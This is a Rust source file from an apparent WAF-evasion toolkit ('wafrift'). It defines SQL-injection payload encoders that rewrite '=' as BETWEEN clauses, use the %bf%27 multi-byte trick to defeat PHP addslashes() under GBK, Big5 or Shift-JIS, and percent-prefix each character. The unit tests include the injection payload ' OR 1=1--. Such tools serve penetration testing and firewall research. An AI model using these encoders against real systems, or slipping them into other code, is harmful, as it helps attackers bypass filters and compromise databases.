Skip to main content

wafrift_encoding/encoding/keyword/
sql.rs

1//! SQL-specific obfuscation strategies.
2
3use std::fmt::Write as _;
4
5/// Between obfuscation — rewrites `=` and `>` using `BETWEEN` syntax.
6///
7/// Safe for: SQL contexts.
8pub fn between_obfuscate(payload: &str) -> String {
9    let mut result = String::with_capacity(payload.len() * 3);
10    for ch in payload.chars() {
11        if ch == '=' {
12            // Rewrite `id=1` → `id BETWEEN 0 AND 1`
13            // We just replace `=` with ` BETWEEN 0 AND `
14            result.push_str(" BETWEEN 0 AND ");
15        } else if ch == '>' {
16            result.push_str(" NOT BETWEEN 0 AND ");
17        } else {
18            result.push(ch);
19        }
20    }
21    result
22}
23
24/// Unmagic quotes — multi-byte quote escape for PHP multi-byte charsets.
25///
26/// Emits `%bf%27` (or similar) to exploit `addslashes()` when the connection
27/// charset is GBK, Big5, or Shift-JIS.
28pub fn unmagic_quotes(payload: impl AsRef<[u8]>) -> String {
29    let payload = payload.as_ref();
30    let payload_str = String::from_utf8_lossy(payload);
31    // The classic sequence is %bf%27 (0xbf 0x27) which forms a valid multi-byte
32    // character in GBK/Big5/Shift-JIS, consuming the backslash and leaving the quote.
33    payload_str.replace('\'', "%bf%27")
34}
35
36/// Percentage prefix — adds `%` before each character.
37///
38/// Lightweight bypass against WAFs that tokenize on alphanumeric boundaries
39/// but do not strip leading `%` signs.
40pub fn percentage_prefix(payload: &str) -> String {
41    let mut out = String::with_capacity(payload.len() * 2);
42    for ch in payload.chars() {
43        let _ = write!(&mut out, "%{ch}");
44    }
45    out
46}
47
48#[cfg(test)]
49mod tests {
50    use super::*;
51
52    #[test]
53    fn between_obfuscate_basic() {
54        assert_eq!(between_obfuscate("id=1"), "id BETWEEN 0 AND 1");
55        assert_eq!(between_obfuscate("id>0"), "id NOT BETWEEN 0 AND 0");
56    }
57
58    #[test]
59    fn unmagic_quotes_basic() {
60        assert_eq!(unmagic_quotes("' OR 1=1--"), "%bf%27 OR 1=1--");
61    }
62
63    #[test]
64    fn percentage_prefix_basic() {
65        assert_eq!(percentage_prefix("SELECT"), "%S%E%L%E%C%T");
66    }
67}